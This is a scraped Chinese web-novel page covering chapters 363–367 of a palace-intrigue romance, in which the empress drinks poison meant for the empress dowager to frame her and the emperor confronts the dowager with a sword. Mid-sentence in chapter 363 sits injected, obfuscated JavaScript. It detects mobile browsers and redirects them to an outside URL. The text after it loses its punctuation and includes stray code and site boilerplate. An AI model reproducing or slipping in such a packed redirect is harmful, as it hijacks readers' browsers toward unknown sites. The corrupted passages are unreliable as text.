辞忧、承基稚气的小肉脸上天真被嫌恶取代,两个孩子仇恨地盯着陆嫔、黄采薇。 那样恶意满满的眼神,简直不像孩子能发出来的。 陆嫔、黄雨绵被盯得发怵、心惊,连忙错开眼。 “你们下去领罚吧。”云清婳随意地摆摆手,示意她们快走。 “罚?”陆嫔懵了。 不是已经罚过了吗? 飞霜坏笑道:“皇后娘娘素来赏罚分明。方才的是赏赐,惩罚在后头呢。按照后宫规矩,嚼人口舌、搬弄是非,要在长巷掌掴十下!” 黄雨绵的身子在颤抖,她想要去见太后,可太监眼疾手快地抓住了她的肩膀,不准她逃跑。 云清婳的嘴角扯出一抹弧度。 这巴掌要是晚一秒落在陆嫔跟黄雨绵脸上,那就是她对自己的不尊重! 她可是皇后,现在不打,等什么时候打? 有飞霜监刑,云清婳不想让孩子看到残暴的画面,立即将他们带走。 “她们都是坏人,欺负娘亲,等我长大,我要砍她们脑袋。”承基心疼地说。 辞忧从小兜里拿出一块带有余温的火烧,递给她,“娘亲不伤心,吃糕糕。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 第363章 皇后的话,便是朕的话 云清婳一怔。 她无奈、宠溺地看着女儿,辞忧哪儿像个小公主啊? 再这么下去,她怀疑辞忧要往小兜里塞葱油饼、肉夹馍了。 都是被裴墨染这个狗男人给带偏了。 “谢谢辞忧。”她接过火烧咬了一口,是豆沙馅的,甜滋滋的。 她的心情好了不少,心中对裴墨染的怨意也跟着消散了一分。 “没关系的,娘亲是不会让自己受委屈。”云清婳本着做母亲的原则,想给孩子正确的引导。 辞忧踢了踢走廊上的廊柱,嘴撅得都快能挂酱油壶了,“都怪爹爹,爹爹没保护好娘亲。” 承基的浓眉一横,跟个小大人似的,“妹妹,爹爹还欺负娘亲跟外公。” “坏爹爹!”辞忧的小肉手攥成了拳头。 “!!!”云清婳的眸子紧缩。 孩子可能比她当年还要聪明,特别是承基。 他居然听得懂了黄雨绵的话,能大致明白裴墨染要对云家不利。 她的心下一片茫然,不知道该怎么处理,一时之间沉默了。 因为不够爱他们,不会做一个合格的母亲,所以她不知道应该给孩子什么样的回应为好。 面对任何人,她多多少少都要伪装,但在孩子面前,她可以做自己。 良久,她尴尬地挤出一句,“咱们回翊坤宫吧。” “嗯。”辞忧、承基点头,脸上的婴儿肥抖了抖。 …… 陆嫔挨了十巴掌之后极其不服气,她在御书房外跪了一天,终于在天黑时遇见了赶回御书房的裴墨染。 陆嫔抱着高高隆起的肚子,嘤嘤地哭泣,“陛下,都是黄采女顶撞的皇后娘娘,臣妾只是恰好在跟黄采女说话,可皇后娘娘却迁怒了臣妾。” “臣妾体弱,怀孕本就艰辛,皇后娘娘让臣妾搬宫,臣妾没有二话,可臣妾想要亲耳听见陛下的旨意,否则臣妾心不甘。” 她言下之意便是皇后目中无人,不跟皇上商量,就一人决策。 裴墨染的剑眉一拧,面色阴郁。 这几日他忙于政务,没想到这些狗东西居然见云家势微,居然给蛮蛮委屈受! 裴墨染暴怒的低吼:“皇后的话便是朕的话!一群狗仗人势的东 西,皇后是朕的发妻,她的话不顶用了吗?黄采女顶撞皇后,你跟黄采女言谈,由此可见你也绝非善类!” “皇后温婉大度,念着皇嗣没做惩戒,只让你迁宫,你不感恩戴德也就罢了,还敢来朕面前挑拨是非。即日起你降为才人,将来孩子出生必不能在你身边教养。” 陆嫔只觉得天塌了,她的眼泪扑簌簌地流个不停,哭喊道:“陛下,臣妾只是一时糊涂啊,臣妾还怀着皇嗣啊……” “把这疯妇拖下去!”裴墨染鄙夷地剜了她一眼,径自踏进御书房。 跟这种女人多待一会儿都嫌脏。 他就是要狠狠惩戒陆嫔,杀鸡儆猴,看日后还有哪个不怕死的欺负蛮蛮! …… 夜幕深沉。 云清婳已然熟稔地将两个孩子哄睡。 飞霜拉上明黄色的床帐,她欲言又止,止又欲言,最终小声道:“主子,都多少天了,皇上还不露面,恐怕他真的会对云家不利,所以不敢见您。” 倘若真是如此。 那么她训狗还是失败的。 云清婳不希望是这个结果。 而且成亲这么久了,她自认为对裴墨染比较了解,她有九成把握裴墨染不敢如此。 “他早晚会过来,只是缺一个机会。”云清婳的语气很笃定。 飞霜看着云清婳从容的表情,心中的不安、焦虑被渐渐抚平,她吐出一口浊气。 她不希望云家败落,他们药仙谷能避世、偏安一隅,成为室外桃花源,全靠云家庇佑。 不仅是他们家,整个药仙谷的居民都很感谢云家。 因此,当主子说需要她的时候,她便毅然决然地离开药仙谷,化身成她身边的婢女。 一路走来,她早就被云清婳的机敏理智所折服。 所以无论云清婳说什么,她都会相信。 …… 翌日。 云清婳让人陪两个孩子在庭院中放纸鸢。 孩子叽叽喳喳,笑声扰得她头疼。 云清婳坐在火炉前煮茶。 她捏着夹子翻烤着橘子、龙眼、板栗,她望着孩子,笑容恬淡,“最近裴云澈有何动静?” 飞霜在炉前添了两块炭火,“二公子说,裴云澈的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16428912|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 封地今年的 收成不错愈发富庶了。他又托词京中的政务尚未交接他的旧部、太后都在施压不愿让他离京皇上正在改革无暇顾及此事便耽搁了。” 她颔首恍然掌控了一切。 只要裴云澈留在京中她就不怕他不死! “冷落他有些日子了也是时候会会裴云澈了。”云清婳的双眼倏而变得锐利。 飞霜叹了口气“但是宫中处处都是眼睛恐怕您跟裴云澈不好见面了。” 她深不可测地笑了。 二人正说着 金嬷嬷恭敬的福福身老脸越发谨慎恭敬“参见皇后娘娘太后召您明日去品茶。” 云清婳捻起一杯热茶反手泼下台阶。 哗—— 水险些溅到金嬷嬷的鞋上。 她的表情刻薄讽刺道:“本宫怎么不知太后喜欢上品茗了?” 金嬷嬷的脸色稍显难看她无奈地实话实说:“太后娘娘……是、是因为黄采女的事。” “本宫知道了。”她递给宫女一个眼色。 宫女不留情面地送客。 云清婳冷嗤“你看机会这不就来了吗?” 飞霜长叹了口气。 主子将黄雨绵贬去了冷宫旁苏采薇必不会善罢甘休。 恐怕明日不会好过了。 …… 第二天一早云清婳送孩子去上书房后便去了翊坤宫。 “哥哥的信可传给裴云澈了?”云清婳问。 飞霜不确定地摇头“昨日给二公子说了此事至于二公子做没做到奴婢就不知道了。” 毕竟现在是在皇宫盯着她们的人太多了想要算计她们的人也太多了。 她们做事不能像以前一样随心所欲了。 “我相信二哥。”云清婳的面色凝重说话间她掩袖往嘴里喂了一颗药丸。 接下来的这出大戏她要邀请裴墨染、裴云澈一起观看。 两个主角缺一不可。 毕竟苏采薇是想要她的命的。 按照原著剧情推算苏采薇这一次正可谓是狗急跳墙剑走偏锋。 原剧情中苏灵音的阴谋被识破裴墨染将苏灵音关进寺庙中常伴青灯古佛苏采薇心疼不已又仗着裴墨染渴望母爱居然斗胆给姐姐下了**! 第364章 蛮蛮服下鹤顶红! 若不是有女主光环罩着,姐姐差点就死了。 所以云清婳猜测,苏采薇要对她下手了。 毕竟苏家败落,苏灵音已经死了,苏将军也远在边境苦寒之地,苏采薇精挑细选的“棋子”也被她贬去冷宫附近。 苏采薇最后翻盘的希望都被她扼杀在摇篮中,新仇旧恨加在一起,苏采薇怎能不疯? 飞霜看着云清婳的侧脸,总觉得哪里怪怪的,但她说不上来。 “主子,您没事吧?”今日,她的心莫名发慌,就像有什么重要的东西要离她而去。 离翊坤宫越近,她的心就莫名跳得越快。 云清婳的眸子幽深,宛若一潭死水,她看着飞霜。 眼中是让人看不懂的情绪。 “没事的,你就站在外面,不必进去了。”她不容抗拒地交代。 “……是。”飞霜慢吞吞地点头。 …… 到了翊坤宫,苏采薇一反常态,没有为难很快就召她进去了。 苏采薇穿着一身净面素纨,恬静地坐在茶桌前烹茶。 寝殿门窗紧闭,密不透光,没有宫人伺候,四处静悄悄的,只有她们两个。 苏采薇画着远山黛,显得面容温婉,似乎恢复到了从前“和蔼慈祥”的时候。 “皇后,过来坐吧。”苏采薇轻扬了下下巴。 云清婳缓缓走上前,在她的对面坐下。 “真狠啊,居然把雨绵给发落到红杏斋。”苏采薇冷不丁说了句。 “怎么?皇上对云家下手了,你发现皇上不爱你,怕雨绵将你取而代之,便借机把她除掉?” 云清婳笑了,“呵……倘若皇上不爱我,你为何要找人模仿我?你的话未免也太自相矛盾了。” 苏采薇煮茶的手一顿,看她的眼神愈发的冷,“云清婳,你朝三暮四,水性杨花,墨染、云澈都成了你的裙下臣,你就这么缺男人吗?” “你为何要让他们同时爱上你,害他们兄弟不和、手足相残?哀家已经被你害得一无所有了,你如今是大昭皇后,还不够吗?” 云清婳的眉眼一厉,高声道:“自然不够!把你们做成人彘,生不如死,都难解我心头之恨。” “……”苏采薇的手一抖,茶水撒了出来,将她的手背烫红了一片。 茶壶险些倾倒。 “你这个疯子!哀家不可能看你毁了哀家的儿子,更不可能让你毁了大昭的江山!云清婳,放过云澈吧!”苏采薇的眼眸猩红,里面闪烁着眼泪。 都这个时候了,苏采薇的心里还全是裴云澈。 她不得不为裴墨染感到可悲。 云清婳掀起凤袍宽大的袖摆,站起身,傲慢地挺直脖颈,“你跪下求本宫,给本宫磕一个响头,本宫或许会考虑考虑!” 她挑衅着,高高在上,盛气凌人。 字字诛心! 苏采薇差点喘不上气,“你这个贱人,本宫就算是死,也不会让你得意!” 说着,她颤巍巍地伸出手,白着脸,一把抓住茶几上的茶杯就要往嘴边送。 云清婳的眼皮子一跳。 苏采薇居然长脑子了! 她这是想宁为玉碎不为瓦全。 苏采薇若是在跟她独处时死了或者有了三长两短,裴墨染、裴云澈会怎么想? 他们定会以为是她害死了苏采薇,对她心生芥蒂、防备她,就算他们嘴上不说,心中也会有嫌隙。 更何况,苏采薇这么贪生怕死的人,谁知道她服下的这杯茶致不致命? 若是致命也就罢了,倘若苏采薇没死成,她岂不是丢了夫人又折兵了? 她不能赌! 于是,云清婳以迅雷不及掩耳之势从苏采薇手中夺过茶杯,毫不犹豫地将茶水往嘴里一送。 苦涩的药水味在口腔蔓延开来,顺着喉咙流进了肺腑。 她的胃部灼烧、发烫,像是吞进了石灰。 “啊……” 苏采薇惊恐地尖叫,“这、这是……鹤顶红!” “你、你、你……疯子,你这个疯子!” 苏采薇吓得一屁股瘫坐在地上,就像在看一个怪物。 她的原意只是想喝一口毒药,然后吐掉,假装中毒吓吓他们。 她怎么可能去死呢? “疯子啊,灵音说的没错,你是个疯子、疯子……”苏采薇伸出手指颤抖地指着她,眼泪啪嗒啪嗒落下。 “呵呵……我断不会,让你得逞!”云清婳双目猩红,嗓子似乎被毒药灼伤,变得嘶哑。 她扶着胸口,眼珠子凸出。 苏采薇怕了,因为她深深地明白云清婳对裴墨染、裴云澈的重要性。 一股滔天寒意四面八方朝她涌来,好像要把她的肺腑给冻住。 可随后,苏采薇似乎想通了症结所在,她冷不丁的笑了,“哈哈哈哈……” “这是最毒的毒药之一——鹤顶红!你死定了,哈哈哈……” “你死后,云澈跟墨染就会像以前一样好好孝敬哀家,乖乖听哀家的话了。” “哈哈哈……你放心,你死后,哀家会好好照看承基跟辞忧,没了你这个妖妇,他们俩定会好好孝敬哀家。” “哈哈哈哈……哀家赢了,最后还是哀家赢了……” 云清婳捂着胸口,后脑勺像挨了一记闷棍。 她发昏发晕,眼前一阵一阵的发黑,抬脚走的每一步都无比沉重。 喉头间,一股铁锈味不停地朝上翻涌。 她转过身,脸色倏然变得惨白,就像在世间晃荡的游魂,大步朝外走去。 门被打开,众宫人虽然不知道发生了什么,但都听到里面激烈的争吵。 这会儿再看云清婳的脸色,都一脸惊恐,跟见了女鬼似的。 宫女、太监整齐地跪下。 金嬷嬷瞬间猜到了什么,眼珠子都快瞪出来,她慌忙跑进寝殿,看到里面的情景吓得瘫坐在地上。 “啊……”她发出已经惊呼。 云清婳使劲摇了摇脑袋,努力保持清醒,肺部疼得让她不能自已。 但她不能倒在翊坤宫里。 这出大戏还没演完…… 她要给姐姐报仇,只差这一步了。 她要借苏采薇的东风,完成复仇大计! 云清婳踏出翊坤宫,可已经看不见飞霜。 她的双眼失焦,六神无主地左右张望。 远远地,他看见一个人影朝她走来。 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第365章 必看:不停吐血,命悬一线 那人穿着一席烟青色的长袍,身材颀长,挺拔清瘦,跟初见时一般温润儒雅,显然是为了见她,精心打扮过的。 裴云澈看着她,眼中露出无尽的温柔,步伐都忍不住加快。 曾经克制、面热心冷,在面对她时早就抛之脑后。 “咳咳咳……”云清婳咳了咳,肺腑扯着疼。 “蛮蛮!”裴云澈惊呼。 “啊——” “血……” “皇后娘娘……”周围的宫女、太监都在惊呼。 “传太医,传太医啊……” 众宫人东奔西跑,乱成一团。 云清婳低头一看才发现,她流鼻血了,因为感官渐渐失灵,所以她才没发觉。 她嘴里不断有血涌出。 在下巴汇聚成一大股,淌在凤袍上…… 明黄色凤袍的前襟上晕开了一大片血渍,就好像胸口中了一箭。 “咳咳咳……”云清婳止不住的咳,嘴里的铁锈味无比浓郁,吐血的瞬间,她才会好受一点。 她甚至想要多吐些血出来。 鲜红的血喷涌而出…… 咳出来的液体,渐渐变成殷红色、紫色…… 她眼前一黑,骤然倒下。 “蛮蛮!”裴云澈终于跑上前,不管不顾地跪在地上抱着她,“怎么了?” 他触目惊心,不敢相信眼前的一切。 他多么希望这只是噩梦! “她说我害你们兄弟不和,手足相残,唯有我死,才能两全……”她气若游丝。 已经不再咳嗽,而是吐血。 血染红了裴云澈的衣袍。 裴云澈的眼睛被泪水模糊。 他眼中恨意滔天,后槽牙磨得硌吱硌吱响。 他剜了眼翊坤宫的方向,抱起云清婳就往太医院跑,“蛮蛮,你断不会出事!别睡,千万别睡!” “他是我孩子的父亲,你是我最爱的人,我不想看你们自相残杀,我愿意去死。”她守住最后的神志。 “胡说!跟你无关!你千万别睡!” 云清婳的身子感受着颠簸,头更晕了,就在意识消散前,她看见宫道上裴墨染向她跑来。 飞霜在后面边跑边哭,崩溃得像是个孩子…… “蛮蛮!”裴墨染红着眼痛呼一声。 云清婳挤出一滴泪,终于阖上了眼睛。 戏,成了。 裴墨染看着清瘦的裴云澈就来气,这个文弱的病秧子! 废物! 若是裴云澈抱蛮蛮去太医院,定会耽误病情…… 他一把将云清婳从裴云澈怀中抢过,大步奔向太医院。 …… 好在半路上赵太医就赶来了,医治的时间非常及时。 赵太医给云清婳服用了护心丸、解毒丸,护住心脉,减轻毒性。 裴墨染就近将云清婳抱去了临近的宫殿。 云清婳躺在榻上,久久不见醒,她胸口上的血渍看起来触目惊心。 刺痛了两个男人的双眼。 裴墨染、裴云澈在一旁如同热锅上的蚂蚁,急得团团转,恨不得帮云清婳受罪。 “究竟是怎么回事?”裴墨染暴怒,他手背上的青筋鼓起。 飞霜哭得不能自已,一把鼻涕一把泪,说话都说不利索,“奴婢也不知道,昨日太后便召见主子去品茗,今早主子去翊坤宫前就怪怪的,还不让奴婢跟进去。 奴婢感觉不对,就斗胆求见您了。谁知,谁知一赶过来,就看见主子满身是血……” “都怪奴婢,是奴婢太傻了,没察觉主子的不对劲,奴婢应该劝住主子,不让主子进去的……都怪奴婢……” 裴墨染心如火煎,他似乎感受到了云清婳的生命正在消逝。 她这么羸弱,这么娇小,却吐出这么多血。 她得有多疼? 有多遭罪? 她一定不能出事,要不然他该怎么办? 孩子该怎么办? 裴墨染深吸了口气,看着远处的天边,良久才敛去眸底的潮意。 “究竟是怎么回事?”他的声音喑哑。 裴云澈嘁了一声,他嘲讽道:“事到如今,皇上还要装聋作哑、自欺欺人?自然都是太后干的!蛮蛮说,太后责怪她害我们手足相残,逼她去死!” 裴墨染的瞳孔紧缩,他胸口的怒气翻涌,眼中的恨意宛若惊涛骇浪。 他一脚踹翻了桌椅。 “她怎么敢的?混账!”他高声咆哮。 这个毒妇,害死了父皇还不够,居然还对蛮蛮下毒手。 下一步呢? 她是不是想害承基跟辞忧! 去死啊! 裴云澈鄙夷地剐了他一眼。 粗鄙的武夫! “皇上若是要发泄,请您出去,莫要扰了蛮蛮休养。”他冷声提醒。 裴墨染的理智瞬间被抽回来,他愧疚地看着榻上的人儿。 他握住云清婳的手,将她渐渐失温,发凉的手心贴在脸上,眼泪又一次在眼眶打转。 “贤王若是无事,请回吧。”他冷声道。 裴云澈不舍地看着榻上的人。 他不想走,他想亲眼看着蛮蛮安然无恙,恢复曾经的鲜活灵动。 可是他得顾及蛮蛮的名声,方才虽然是为了救她事出从急,但免不得有人背后嚼舌根。 这章没有结束,请点击下一页继续阅读!他细细地打量着云清婳的五官,眸中尽是留恋。 飞霜害怕露馅,毕竟两个男人若是一对峙,说不定就玩脱了。 她立即上前福身,冲他挤眼,“多谢贤王殿下救主子,但为了主子的名声,贤王殿下请回吧。” 裴云澈蹙眉,他痛惜地颔首,然后转身离去。 他还有更重要的事情去做! 伤害蛮蛮的人,他不会放过。 他总要去为蛮蛮讨回公道。 …… 翊坤宫。 苏采薇狂喜不止。 “喝了鹤顶红还想活命?这个荡妇必死无疑!”她激动地抓住金嬷嬷的胳膊,眼中神采飞扬。 金嬷嬷吓得眼泪都出来了。 造孽啊! 皇后娘娘好好的,怎就服下了鹤顶红? 太后娘娘简直疯魔了! 这次真的过了! “太后娘娘,咱们快跟陛下解释解释吧……”金嬷嬷一脸惶恐,嘴唇都在颤抖。 苏采薇夹了她一眼,“真是胆小!哀家是皇上的母亲,皇上还敢弑母不成?” 金嬷嬷的心还是惴惴不安。 虽说人伦天理如此,但皇上对皇后娘娘的宠爱有目共睹啊。 她的腿肚子不停地抽抽,忽地,背后响起一阵脚步声。 金嬷嬷回头一看,只见裴云澈来了。 他素净的锦袍上还染着深红的血渍,整个人散发出阴鸷的气息,生人勿近。 “殿下,您劝劝太后娘娘吧……”金嬷嬷哽咽道。 裴云澈冷漠地看着苏采薇,眼神冷得简直要杀人。 苏采薇很久没见到裴云澈了。 尽管之前闹了诸多不愉快,但再次相见,她的眼中含着慈爱与欣喜,“云澈……云清婳的事,你都知道了?” “儿臣想不知道都难吧?”裴云澈讥讽道。 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第366章 终于醒来 苏采薇象征性的敛去脸上的狠辣、得意,她叹了一声,冠冕堂皇道:“母后也是为了你好。云澈,墨染不想你留在京城,你对于他而言就是个威胁!” “这一切都是云清婳害的,她死了,没了她挑拨离间,你们兄弟二人的感情一定会恢复的。” “到那时……” 裴云澈打断她的话,失态地怒吼:“够了!” “蛮蛮必不会有事!还请太后不要指手画脚,本王不需要你多管闲事!” 苏采薇被吼得一愣,有些没反应过来,随后感到眼眶酸热,她一哽,“云澈,你怎么可以这么跟母后说话?” 裴云澈总不可能杀了苏采薇。 他若是做了,不用等明日,他马上就能被裴墨染趁机安上弑母的罪名,被五马分尸定在耻辱柱上。 但对苏采薇施加警告,扎她的心,让她痛彻心扉还是可以做到的。 “本王早想说了,本王的母亲只有宸妃,你跟本王毫无血缘,还请太后以后谨言慎行,有一点长辈的样子,不要再苛待皇后。你不知羞吗?此事传出去,苏家还要脸?”裴云澈甩袖。 苏采薇的心好像都被撕裂开来,她喘出的气好似都带着火,“云澈,这些都是云清婳这个贱人跟你说的对不对?你别这样对母后好不好?你的一句话,比墨染的千句万句还要伤母后的心啊。” 裴云澈毫不在意的冷嗤,“你如此愚蠢,哪像本王的母亲?你的儿子只有裴墨染,不要再说错了。本王跟父皇一样,厌恶你许久了,若不是碍于人伦,本王真想亲手替蛮蛮报仇。” “什么?”苏采薇的心在这一瞬停止跳动,呼吸一窒,“云澈你说什么?” 她的情绪陡然激动,高声尖叫,“云澈,你说什么?你为了云清婳想弑母吗?你想杀了母后?” 裴云澈厌恶地剜了她一眼,转身就走。 “呜呜呜……”苏采薇崩溃地哭了,“造孽啊,造孽啊!” “哀家含辛茹苦二十多年,居然养出了这头白眼狼……” 金嬷嬷看着毫不顾忌形象,崩溃哭喊的太后,心累地叹了口气。 事情怎就变成了这样? 太后不像太后,长辈不像长辈,儿子不像儿子,鸡飞狗跳! …… 飞霜给云清婳擦洗了身子,换了干净衣物后,裴墨染便静静守在她身边。 他在身边守了一天一夜。 殿中无人,裴墨染终于得以吐露心扉。 他温热的眼泪落在云清婳的手背上,“蛮蛮,你一定不能有事,你醒来好不好?哪怕折我的寿,换取你的康健。” “我就是个大混蛋,一心改革,伤害了云家,让你惴惴不安,这些日子你一定很不好过吧?” “都怪我,我这段时间太忙,所以才给了苏采薇可乘之机,我必会还你公道!” 云清婳其实早就醒了,但为了装病重,只能假装昏迷不醒。 因为她事先服用了药仙谷的解毒丸。 她又不傻,既然提前知道剧情定会做好万全的准备,怎会把自己置身囹圄? 再加上赵太医救助及时,所以鹤顶红的毒性,最多只伤到了她三分。 第二天天亮,趁着裴墨染处理政务,飞霜进来守着云清婳。 “呜呜呜……”飞霜哀哀地哭着。 云清婳确定没有旁人,陡然睁开双眼,“乖,不哭了……” “主子!”她扑进云清婳的怀里,哭得不能自已。 云清婳被飞霜压得胸口一痛,“诶呦,你轻点啊,想压死我?” “对不住,对不住……”飞霜的鼻涕泡都快哭出来了。 云清婳的眉眼舒展,努力挤出轻松的表情,平静地笑看着她。 飞霜的眼泪跟不要钱似的,噗噗往外冒,她哽咽道:“以后不许了!主子,你怎能用性命来博弈?这天下谁的性命有你自己的重要?” “我事先服用了解毒丸,我在你心里就这么傻啊?”她不正经的说笑。 这把飞霜气得更狠,她又哭了,“呜呜呜……都什么时候了,你还不正经!你就答应奴婢吧,日后不许了。” 云清婳静静的看着她,她没法给飞霜承诺。 为了报仇,她做出什么都不足为奇。 “飞霜,苏采薇怎么样了?”云清婳眼中跳动着复仇的火焰,满含期待的问。 飞霜躲避开她的目光,垂下眼眸,“裴云澈去了翊坤宫,听说跟苏采薇大吵了一架,皇上还没反应。” 云清婳的眼底好似有星子坠落,遗憾、无奈…… “狗男人究竟在等什么?”她缓缓攥着拳头。 飞霜宽慰着:“陛下一直守着您,就算想给苏采薇好看也没空啊。” 这个借口倒也说的过去。 她缓缓颔首,她倏地想到什么,“这件事传出去了吗?” “您出翊坤宫不久,就吐血不止,此事想压住都难。您昏迷期间,太皇太后、贤妃都来看了,大家都很担心您。裴云澈跟谢将军都托人来问了。”飞霜搓着云清婳的手,想要帮她恢复些体温。 这章没有结束,请点击下一页继续阅读!云清婳吐出一口浊气,“爹娘、哥哥们知道了吗?还有承基跟辞忧。” 飞霜颔首,“听陛下说,他准备等您醒了就让云家来探望。至于孩子,陛下担心吓着他们,还没说。” “这便好,别让孩子知道了,他们早慧,知道这些对他们没好处。”云清婳的眼神复杂。 她起初的确是想把孩子当作复仇工具,现在孩子依旧是她争权谋利的武器,但她有了底线原则。 她希望孩子能健康成长,拥有一个正常快乐的童年,不要沉溺在复仇与仇恨中。 飞霜弯了弯唇,“主子越发有母亲的样子了。” “你这个臭丫头,打趣我是吧?”她哼了一声。 飞霜嗤嗤地笑了。 突然,门外传来了动静。 飞霜立即收了笑,她低声道:“主子,还装吗?” 她摇摇头,“没必要了,闹了这一次,够把他吓住了。” 裴墨染一推门,便看见了云清婳张开双眼,眼神讷讷地望着他。 他大喜过望,含着泪快步走到她身侧,“蛮蛮!” “太好了,你终于醒了!” “身子疼不疼?嗯?有没有哪里不舒服?” 他抓住她的手,眼中布满红血丝,眼睑下泛着淡淡的青黑。 尽管他克制着情绪,可声音还是带着颤。 云清婳的声音喑哑,含着水光的眸子里盛着满满的失望,“皇上终于肯露面了。” 她的话如一把刀,捅进他的心窝。 “蛮蛮……” 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第367章 裴墨染报仇,大闹翊坤宫 裴墨染有些心虚,但更多的却是懊恼、自责与无奈。 这些日子,的确忙于政务,但摸着良心说,他确实有一丝躲避蛮蛮的意图。 因为他的改革首先针对的就是云家。 他不知该如何面对蛮蛮。 他的桃花眼泛着难言的痛意,“蛮蛮,别这样跟我说话好不好?我就是个混蛋,我对不起你,都是我的错……” 云清婳冷淡地撇过脸,她阴阳怪气道:“若不是太后给我下毒,我恐怕还见不到陛下吧?” 裴墨染的心像是被一只手紧紧揪住,他疼得快要窒息,祈求道:“蛮蛮,求你了,你别这么跟我说话,你万万不可跟我生分。” “这段日子我忙于朝政,又不知该如何面对你,所以没到后宫。没想到这么多人见风使舵,后妃挑衅你,更没想到苏采薇那毒妇如此疯魔,居然敢对你下毒手。” “你险些遇难,这次我定不会放过她!” 说到这里,他的眼中蒙上了一层恨意。 云清婳的眼中快速闪过精光。 希望狗男人能说到做到。 她斜睨着他,声音软绵绵的,有气无力,“你总是这样,什么事都不告诉我,害我忐忑不安。” “事情还未成,我也不知改革会走到哪一步,现在说什么都言之尚早。蛮蛮,你只管相信我,我知道你在乎云家,我必不会让你难过。”他的眼眸黑沉,一本正经地说。 她叹了一声,“这次你挥剑直指云家,我却只能装聋作哑,在旁人的心里,我定是世上最傻的人。” “蛮蛮怎会是世上最傻的人?你明明是世上最有眼光的人,不然怎会嫁给我?”他俯首,厚着脸皮在她脸颊上亲了一下。 云清婳嫌弃的别过脸,缄默不语,“……” 裴墨染殷勤地倒了杯水,抵在她唇边,“蛮蛮,你喝些水,你想吃什么?嗯?” “……” 她自顾自地喝水,不搭理他。 裴墨染有些伤心,但是他不在乎。 这一切都是他咎由自取。 “蛮蛮,你只管信我,我必不会让你赌输。”裴墨染一字一顿,就像在起誓。 “……”云清婳阖上眼,根本不看他。 裴墨染亲自熬药,喂她喝下后,在她身上裹着锦衾,将她抱上了轿子,送回了坤宁宫。 一路上,云清婳都在假寐。 裴墨染知道她在生气,可他没有办法哄她。 因为她要的是云家无虞,是他的态度。 他现在无法给她任何反馈。 裴墨染的双臂缠绕着她的身子,下巴搁在她的肩膀上,他的声音低沉而富有磁性,像是包裹了一层沙子,“蛮蛮,不生气了好不好?” “裴墨染,你真的在乎我吗?”她的声音一哽。 裴墨染的心脏像是扎了根刺,“蛮蛮,我怎会不在乎你?你怎么会这么想?我在乎你,我爱你,断不会伤害你跟你的家人。你别这样说话,别这样对我好不好?” “……” 一个从小待在军营的武夫都开始说这么肉麻的话了,可见裴墨染是真的慌了。 云清婳掩住眼中的得意,没有回应。 “……” 她的态度在裴墨染看来,就是不信。 裴墨染将她抱去了榻上,仔细地给她脱下绣花鞋,掖好被角,然后交代太医跟宫人好好看顾。 他黑着脸,浑身萦绕着戾气转身离去。 飞霜张望着他的背影,微微蹙眉,“皇上又要去哪里?” 云清婳靠在柔软的榻上,宛若幕后的执棋者,陡然掌控一切,“他要去给我报仇了。” “这还差不多!奴婢还以为他又要逃避呢。”飞霜舒了口气。 云清婳想知道裴墨染会为她做到哪一步。 …… 裴墨染是提剑去的翊坤宫。 他命人收紧风声,此事绝对不准宣扬出去。 免得史官乱写! 苏采薇倚靠在红木凤凰纹坐榻上,手里捻着茶杯,眼中含泪,又哭又笑。 最疼爱的儿子恶语相向的悲痛感与最讨厌的女人自尽的喜悦感在她胸口交织着。 仿佛置身于无边苦海的她,也迎来了一方扁舟。 “呵……”她的眼泪不住地淌,眼中既有“云清婳这次必死无疑,没人挑拨离间,很快哀家跟云澈、墨染的母子情谊就会恢复了。” 金嬷嬷暗自摇了摇头,眼中满是不认可。 她双手合十,小声念着阿弥陀佛。 您杀了皇上跟贤王最在乎的女人,他们恨您还来不及,怎会与您恢复情谊? 砰—— 门被踹开。 一道光射进了阴暗的寝殿。 苏采薇晦暗红肿的双眼被光晃得刺眼。 她看见背着光的高大轮廓,身子都僵住了,“墨染、墨染,你来了……” 她佯装无事,想要挤出从容的笑。 裴墨染浑身萦绕着戾气,暴虐的气场铺天盖地席卷而来,他沉着脸大步朝她走来,“你这个毒妇!你怎敢毒害皇后?” 他的双眼猩红。 苏采薇的身体不受控制的颤抖起来,她站起身,白着脸往后退,“不是的,母后没有毒害她,都是她自己要喝那杯茶……” 她语无伦次起来,“墨染,你相信母后,那杯茶原本是母后要喝的,都是被云清婳抢过去的。” “她说不想被哀家威胁,所以先发制人……都是她自找的,她自作自受,没人逼她喝……” 裴墨染大步流星地上前,看她的眼神就像在看瓦剌的敌军。 苏采薇养尊处优多年,哪见过这种架势? 她被男人久经沙场的气势吓到牙齿打颤,眼泪流得更凶了,她步步后退,“墨染,墨染,你别这样……” 金嬷嬷惶恐地上前,“陛下,太后娘娘毕竟是您的生母啊!” “滚!”裴墨染低吼。 金嬷嬷吓得肝颤,五脏六腑好像都移位了,她的老脸汗涔涔的,吓得连滚带爬地跑了。 苏采薇看着金嬷嬷落荒而逃,恨不得能跟她一起走。 “墨染,母后发誓,她的死不关母后的事!母后只是想吓唬吓唬她,谁知道她抢走了茶?”苏采薇的身子弯得像虾,奴颜婢膝,毫无尊严可言,“再说了,她嫁给了你还勾引云澈!她死了好啊,这个荡妇死了,你们就能重拾手足之情。” “混账东西!住口!”裴墨染忍无可忍,暴怒地大吼。 咻—— 腰后的剑鞘被拔开。 一道寒光凌空闪过,照亮了苏采薇的眼珠子。 裴墨染攥着长剑从高处劈了下去。 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 